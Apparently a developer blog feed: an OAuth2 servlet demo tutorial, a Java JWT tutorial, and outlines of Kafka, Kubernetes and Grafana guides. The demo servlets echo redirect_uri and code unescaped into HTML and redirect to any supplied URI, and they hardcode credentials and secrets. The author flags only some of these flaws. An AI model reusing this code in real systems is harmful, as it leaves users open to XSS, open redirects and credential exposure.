Client exchanges code for access token
Client uses access token to call Resource Server
Resource Server validates token and returns data

🔷 Endpoints in This Demo

Endpoint	Role
/login	Starts OAuth flow (Client)
/authorize	User login + consent (Authorization Server)
/callback	Receives authorization code (Client)
/getToken	Helper to call token endpoint
/token	Issues access token
/data	Protected API (Resource Server)

🔷 Full Flow Overview

/login
→ redirect to /authorize
→ user login + allow
→ /callback (gets code)
→ /token (gets access token)
→ /data (uses token)

🔷 Step-by-Step Flow with Code

Full implementation is available in the GitHub repository at the end of this article.
🟢 Step 1: /login → Start Flow

LoginServlet.java

package com.oauth.demo;

import jakarta.servlet.ServletException;
import jakarta.servlet.annotation.WebServlet;
import jakarta.servlet.http.HttpServlet;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import java.io.IOException;

/**
 * Servlet implementation class LoginServlet
 */
@WebServlet("/login")
public class LoginServlet extends HttpServlet {
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {

        String redirect = "http://172.21.236.75:9090/oauth/authorize?" +
                "response_type=code&client_id=test&redirect_uri=http://172.21.236.75:9090/oauth/callback";

        resp.sendRedirect(redirect);
    }
}

This is the entry point. It redirects the user to the Authorization Server.

resp.sendRedirect("http://host/oauth/authorize?...");

👉 This is how the Client requests authorization from the User.

🟢 Step 2: /authorize → User Login & Consent

AuthorizeServlet.java

Displays login form
Accepts username/password
Allows user to Allow **/ **Deny

package com.oauth.demo;

import jakarta.servlet.ServletException;
import jakarta.servlet.annotation.WebServlet;
import jakarta.servlet.http.HttpServlet;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import java.io.IOException;

/**
 * Servlet implementation class AuthorizeServlet
 */
@WebServlet("/authorize")
public class AuthorizeServlet extends HttpServlet {

    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {
        resp.setContentType("text/html");
        resp.getWriter().write(
            "<form method='post'>" +
            "User: <input name='username'/><br/>" +
            "Pass: <input name='password' type='password'/><br/>" +
            "<button name='action' value='allow'>Allow</button>" +
            "<button name='action' value='deny'>Deny</button>" +
            "<input type='hidden' name='redirect_uri' value='" + req.getParameter("redirect_uri") + "'/>" +
            "</form>"
        );
    }

    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws IOException {

        String action = req.getParameter("action");
        String redirectUri = req.getParameter("redirect_uri");

        if ("deny".equals(action)) {
            resp.sendRedirect(redirectUri + "?error=access_denied");
            return;
        }

        String user = req.getParameter("username");
        String pass = req.getParameter("password");

        if ("admin".equals(user) && "password".equals(pass)) {
            String code = "abc123"; // normally random + stored
            resp.sendRedirect(redirectUri + "?code=" + code);
        } else {
            resp.getWriter().write("Invalid login");
        }
    }
}

👉 Output:

Success → ?code=abc123
Failure → ?error=access_denied

🟢 Step 3: /callback → Client Receives Code

CallbackServlet.java

package com.oauth.demo;

import jakarta.servlet.ServletException;
import jakarta.servlet.annotation.WebServlet;
import jakarta.servlet.http.HttpServlet;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import java.io.IOException;

/**
 * Servlet implementation class CallbackServlet
 */
@WebServlet("/callback")
public class CallbackServlet extends HttpServlet {

    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {

        String code = req.getParameter("code");

        if (code == null) {
            resp.getWriter().write("Authorization failed");
            return;
        }
        resp.setContentType("text/html");
        resp.getWriter().write(
            "<h3>Authorization Code: " + code + "</h3>" +
            "<a href='/oauth/getToken?code=" + code + "'>Get Access Token</a>"
        );
    }
}

👉 This is the authorization code, a temporary credential.

🟢 Step 4: /getToken → Prepare Token Request

GetTokenServlet.java

Creates a form to call /token:

package com.oauth.demo;

import jakarta.servlet.ServletException;
import jakarta.servlet.annotation.WebServlet;
import jakarta.servlet.http.HttpServlet;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import java.io.IOException;

/**
 * Servlet implementation class GetTokenServlet
 */
@WebServlet("/getToken")
public class GetTokenServlet extends HttpServlet {

    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {

        String code = req.getParameter("code");
        resp.setContentType("text/html");
        resp.getWriter().write(
            "<form method='post' action='/oauth/token'>" +
            "<input name='code' value='" + code + "'/><br/>" +
            "<input name='client_id' value='test'/><br/>" +
            "<input name='client_secret' value='secret123'/><br/>" +
            "<button type='submit'>Exchange Code for Token</button>" +
            "</form>"
        );
    }
}

👉 In real systems, this happens server-to-server, not via UI.

🟢 Step 5: /token → Exchange Code for Token

TokenServlet.java

package com.oauth.demo;

import jakarta.servlet.ServletException;
import jakarta.servlet.annotation.WebServlet;
import jakarta.servlet.http.HttpServlet;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import java.io.IOException;

/**
 * Servlet implementation class TokenServlet
 */
@WebServlet("/token")
public class TokenServlet extends HttpServlet {

    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws IOException {

        String clientId = req.getParameter("client_id");
        String clientSecret = req.getParameter("client_secret");

        if (!"test".equals(clientId) || !"secret123".equals(clientSecret)) {
            resp.setStatus(401);
            resp.getWriter().write("Invalid client");
            return;
        }


        String code = req.getParameter("code");

        if (!"abc123".equals(code)) {
            resp.setStatus(400);
            resp.getWriter().write("Invalid code");
            return;
        }

        // Simple JWT-like token (replace with real JWT later)
        String token = "header.payload.signature";

        resp.setContentType("application/json");
        resp.getWriter().write("{\"access_token\":\"" + token + "\"}");
    }
}

Returns:
{
"access_token": "header.payload.signature"
}
👉 This is the Access Token

🟢 Step 6: /data → Access Protected Resource

DataServlet.java
package com.oauth.demo;

import jakarta.servlet.ServletException;
import jakarta.servlet.annotation.WebServlet;
import jakarta.servlet.http.HttpServlet;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import java.io.IOException;

/**
 * Servlet implementation class DataServlet
 */
@WebServlet("/data")
public class DataServlet extends HttpServlet {

    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {

        String auth = req.getHeader("Authorization");

        if (auth == null || !auth.startsWith("Bearer ")) {
            resp.setStatus(401);
            resp.getWriter().write("Unauthorized");
            return;
        }

        String token = auth.substring(7);

        if (!"header.payload.signature".equals(token)) {
            resp.setStatus(403);
            resp.getWriter().write("Invalid token");
            return;
        }

        resp.getWriter().write("Secure Data for user: admin");
    }
}

👉 Client must call:
Authorization: Bearer header.payload.signature

If valid:
Secure Data for user: admin

🔷 What is the Access Token in this Demo?

In OAuth2, the access token is just a string. The specification does not enforce any particular format.

However, in most real-world systems, the access token is implemented as a JWT (JSON Web Token).

In this demo, we return a simplified token:

header.payload.signature

This mimics the structure of a JWT.

👉 For a detailed explanation of how JWT works (structure, signing, validation), you can refer to my earlier article:

Understanding JWT Authentication in Java with Encryption and Decryption
(https://dev.to/sanjayghosh/understanding-jwt-authentication-in-java-with-encryption-and-decryption-2ig7)

In a production system:

The Authorization Server generates a signed JWT
The Resource Server validates the JWT before granting access

This bridges the gap between OAuth2 (authorization framework) and JWT (token format).

🔷 Why This Flow Exists

Why not just send username/password to the client?
Because:

Security risks ❌
Third-party access problems ❌
No control over permissions ❌

OAuth2 solves this using:

Tokens
Delegated access
Controlled permissions

🔷 Common Mistakes

❌ Client handling user credentials
❌ Confusing code vs token
❌ Sending token in URL
❌ Thinking client validates token
❌ Skipping redirect-based flow ### 🔷 Important Notes

⚠️ 1. This is a simplified demo

Hardcoded values
No database
No real token security

⚠️ 2. Token is NOT a real JWT

header.payload.signature

👉 In real systems:

Token is a JWT
Signed and verified

⚠️ 3. Client Secret should NOT be exposed

In this demo:

Shown in UI ❌

In real OAuth:

Used only in backend communication ✅

⚠️ 4. Browser cannot send Authorization headers directly

Use:

curl
Postman
Java client

⚠️ 5. Resource Server must validate token

In real systems:

Verify signature
Check expiry
Validate issuer

🔷 Key Takeaways

OAuth2 is about delegation of access
Client never sees user password
Authorization Server issues tokens
Resource Server enforces access

Now that you understand the complete flow, let’s run it.

🔷 Try It Yourself

If you want to understand OAuth2 deeply, I highly recommend running this demo locally.

👉 GitHub Repository (complete working example with all servlets and configuration):

https://github.com/knowledgebase21st/Software-Engineering/tree/dev/security/OAUTH

Steps:

Clone the repository
Deploy it in Tomcat
Open /login in your browser
Follow the complete OAuth2 flow step by step

Hands-on practice will make the concepts much clearer than theory alone.
If you run into any issues while trying this locally, feel free to leave a comment—I’ll be happy to help.

🏁 Conclusion

OAuth2 may seem complex at first—but the core idea is simple:
👉 The client never gets your password
👉 The Authorization Server issues a token
👉 The Resource Server trusts that token

🔑 What You Built

You implemented:

Client
Authorization Server
Resource Server
Complete OAuth2 flow This is the same pattern used by Google and Microsoft.

🔗 OAuth2 + JWT

OAuth2 = how you get the token
JWT = what the token contains

⚠️ Production Note

Use tools like Keycloak or frameworks like Spring Boot for real systems.

Understanding JWT Authentication in Java with Encryption and Decryption

Sanjay Ghosh — Thu, 19 Mar 2026 20:19:51 +0000

JSON Web Token (JWT) is a widely used mechanism for securely transmitting information between systems.

JWT is commonly used in:
• API authentication
• Single Sign-On (SSO)
• Microservices communication

This article explains:

What JWT is
JWT structure
How encryption and signing works
How to generate and validate JWT in Java
A simple diagram explaining the flow

What is JWT?

JWT (JSON Web Token) is a compact, URL-safe token format used to securely transmit information between two parties. Refer RFC7519 .

A JWT contains claims (information) that are digitally signed and optionally encrypted.

JWT tokens are typically used after a user logs in successfully. The server generates a token and sends it back to the client. The client includes this token in future requests for authentication.

JWT Structure

A JWT consists of three parts separated by dots:

HEADER.PAYLOAD.SIGNATURE

Example JWT:

eyJhbGciOiJIUzI1NiJ9
.
eyJpc3MiOiJteS5jb21wYW55LmNvbSIsInN1YiI6ImpvaG4uZG9lIiwiaWF0IjoxNzczMTg0MTIwLCJleHAiOjE3NzMxODQ0MjAsImp0aSI6IjI1Y2JkNjVmLTYzODEtNGZiYi05YWMyLTk4ZTk0ZGYwYTI2YSJ9
.
UEG4iZhhtyG58V0Vcz-IHOL8MMPmDVqZdyRhoaTnYCI

Each part is Base64URL encoded. ()

1. Header

The header contains metadata about the token.

Example:

{"alg":"HS256"}

alg indicates the algorithm used to sign the token.

Common algorithms include:

HS256
RS256
ES256

2. Payload

The payload contains claims, which are pieces of information about the user.
Example:
{
"iss":"my.company.com",
"sub":"john.doe","iat":1773184120,
"exp":1773184420,
"jti":"25cbd65f-6381-4fbb-9ac2-98e94df0a26a"}
}

Note:
JWT payload is not encrypted by default. It is only Base64 encoded.
Anyone can decode the payload, but the signature prevents tampering.

3. Signature

The signature ensures the token has not been modified.
Example process:
HMACSHA256(
base64UrlEncode(header) + "." +
base64UrlEncode(payload),
secret
)
If someone modifies the payload, the signature verification will fail.

JWT Authentication Flow

Typical authentication flow:

User logs in with username and password
Server validates credentials
Server generates a JWT
Client stores the token
Client sends JWT in Authorization header
Server verifies the token

Example header in API request:

Authorization: Bearer

Generating JWT in java

(Example Code)

package jwt;
import io.jsonwebtoken.Jwts;
import io.jsonwebtoken.security.Keys;
import java.security.Key;
import java.time.Instant;
import java.time.temporal.ChronoUnit;
import java.util.Date;
import java.util.UUID;
import java.nio.charset.StandardCharsets;
public class JwtTokenGenerator {
    /**
     * Generates a signed JWT token using a shared secret key.
     * @param issuer The issuer of the token.
     * @param subject The subject of the token (e.g., user ID).
     * @param secretKey The secret key for signing (must be at least 256 bits).
     * @return The compact JWT string.
     */
    public static String generateJwtToken(String issuer, String subject, String secretKey) {
        // Define the key from the secret string
        // The key should be securely managed and stored
        Key key = Keys.hmacShaKeyFor(secretKey.getBytes(StandardCharsets.UTF_8));

        Instant now = Instant.now();

        // Build the JWT
        String jwt = Jwts.builder()
                .setIssuer(issuer) // Set the issuer claim
                .setSubject(subject) // Set the subject claim
                .setIssuedAt(Date.from(now)) // Set the issued at time
                .setExpiration(Date.from(now.plus(5L, ChronoUnit.MINUTES))) // Set expiration for 5 minutes later
                .setId(UUID.randomUUID().toString()) // Set a unique ID for the token
                .signWith(key) // Sign the JWT with the key
                .compact(); // Compacts the JWT into its final string form

        return jwt;
    }

    public static void main(String[] args) {
        // Example usage: replace with your actual values
        String myIssuer = "my.company.com";
        String mySubject = "john.doe";
        // Key must be sufficiently long for HS256 (e.g., 32 characters or more for 256 bits)
        String mySecretKey = "aVerySecureAndLongSecretKeyForSigningJwts";

        String token = generateJwtToken(myIssuer, mySubject, mySecretKey);
        System.out.println("Generated JWT Token:");
        System.out.println(token);
    }
}

The above code will create the token.

Validating JWT in Java
Example Code

package jwt;
import io.jsonwebtoken.Claims;
import io.jsonwebtoken.Jwts;
import io.jsonwebtoken.security.Keys;
import java.nio.charset.StandardCharsets;

public class JWTValidation {
    private static final String SECRET_KEY = "aVerySecureAndLongSecretKeyForSigningJwts";
        public static Claims validate(String token) {
                 return Jwts.parser().verifyWith(Keys.hmacShaKeyFor(SECRET_KEY.getBytes(StandardCharsets.UTF_8))).build().parseSignedClaims(token).getPayload();
        }

    public static void main(String[] args) {
            if (args.length < 1 ) {
                    System.out.println("Please provide the token String as a parameter");
                    return;
            }
            String tokenString = args[0];
            Claims claims = validate (tokenString);
            System.out.println("Subject: " + claims.getSubject());
            System.out.println("Issuer: " + claims.getIssuer());
            System.out.println("Issued At: " + claims.getIssuedAt());
            System.out.println("Expiration: " + claims.getExpiration());
            System.out.println("ID: " + claims.getId());
            System.out.println("Audience: " + claims.getAudience());
   }


}

By running the above code you can pass the generated token to test the validity.

Decoding JWT
Java Example

package jwt;

import java.nio.charset.StandardCharsets;
import java.util.Base64;

public class JWTTokenDecoder {
    public static void decodeJWT(String token) {
        String[] parts = token.split("\\.");
        if (parts.length != 3) {
            throw new IllegalArgumentException("Invalid JWT token format");
        }

        Base64.Decoder decoder = Base64.getUrlDecoder();

        // Decode Header
        String header = new String(decoder.decode(parts[0]), StandardCharsets.UTF_8);
        System.out.println("JWT Header: " + header);

        // Decode Payload (Body)
        String payload = new String(decoder.decode(parts[1]), StandardCharsets.UTF_8);
        System.out.println("JWT Body: " + payload);

        // The signature part (parts[2]) is a hash and cannot be "decoded" into a readable string in the same way.
        // It's used for signature verification.
    }

    public static void main(String[] args) {
            if (args.length < 1 ) {
                    System.out.println("Please provide the token String as a parameter");
                    return;
            }
            String jwtToken = args[0];
            decodeJWT(jwtToken);
    }
}

You can pass the JWT and get the decoded value

JWT Encryption vs Signing

Many developers confuse signing and encryption.
Signing ensures:
• Token integrity
• Token authenticity

Encryption ensures:
• Token confidentiality

Most JWT tokens are signed but not encrypted.

Security Best Practices

When using JWT in production:

Never store sensitive data in payload
Always use HTTPS
Set token expiration (exp claim) Refer: Claims , setExpiration
Rotate secret keys periodically
Validate token signature on every request

When Should You Use JWT?

JWT works well when:

Building stateless APIs
Implementing microservices authentication
Creating Single Sign-On systems
Protecting REST APIs

Source Code

All source files are available on GitHub:
Github source codes

Conclusion

JWT provides a simple and secure way to transmit claims between systems.

Understanding how JWT works internally, including header, payload, and signature is important when implementing authentication systems in modern applications.

By using proper signing, validation, and expiration strategies, JWT can be a powerful tool for secure API authentication.

DEV Community: Sanjay Ghosh

Installing Apache Kafka 4.2 on Ubuntu (WSL2): A Complete KRaft Step-by-Step Guide

Installing Apache Kafka 4.2 on Ubuntu 24.04 (WSL2) Using KRaft Mode: A Complete Step-by-Step Guide

🚀 Introduction

What is Apache Kafka?

Kafka Architecture

Producers

Kafka Cluster

Consumers

Core Kafka Concepts

Broker

Topic

Partition

Producer

Consumer

What is KRaft?

Installing Apache Kafka 4.2

Understanding server.properties

Initializing Kafka Storage and Starting the Broker

Step 1 – Generate a Cluster ID

Step 2 – Format the Metadata Storage

Step 3 – Start Kafka

Understanding the Listener Ports

Creating Your First Topic

Listing Existing Topics

Describing a Topic

Producing Messages

Consuming Messages

Reading Only New Messages

How Message Flow Works

Verifying That Everything Works

Kafka Administration

Listing All Topics

Describing a Topic

Deleting a Topic

Common Kafka Commands

Create a Topic

List Topics

Describe a Topic

Produce Messages

Consume All Messages

Consume Only New Messages

Delete a Topic

Real-World Issue: Why My Kafka Broker Wouldn't Start

The Real Problem

Why This Configuration Matters

Lessons Learned

What's Next?

Conclusion

Running Java Applications on Kubernetes with MicroK8s in WSL2: A Complete Step-by-Step Guide

🚀 Introduction

🛠️ Phase 1: Installing and Configuring the Cluster

1. Installation & Init

2. The WSL2 Network Barrier 🛑

3. Launching the Security Proxy

📦 Phase 2: Containerizing Your Java Web App

1. Establish Your Workspace

2. Crafting the Dockerfile Blueprint

3. Compiling the Image Package

🧬 Phase 3: The Local Sideloading Blueprint

1. Build a Standard Archive

2. Stream into Cluster Core Memory

3. Verify Your Cache Identifiers

🎼 Phase 4: Defining the Orchestration Layout (YAML)

🕵️ Phase 5: Verification & Stepping Inside the Matrix

Stepping Inside the Pod Environments 🤯

🌐 Phase 6: Routing Live Traffic to Windows

🧼 Phase 7: Leaving No Trace (The Clean Slate)

🎯 Conclusion

Grafana for Beginners: Build Your First Dashboard Using PostgreSQL and Docker

What is Grafana?

Where Grafana Fits in DevOps

Development

Testing

CI/CD

Production

Step 1: Install Grafana Using Docker

Step 2: Create a PostgreSQL Database

Step 3: Insert Sample Metrics

Step 4: Connect Grafana to PostgreSQL

Understanding `server.properties`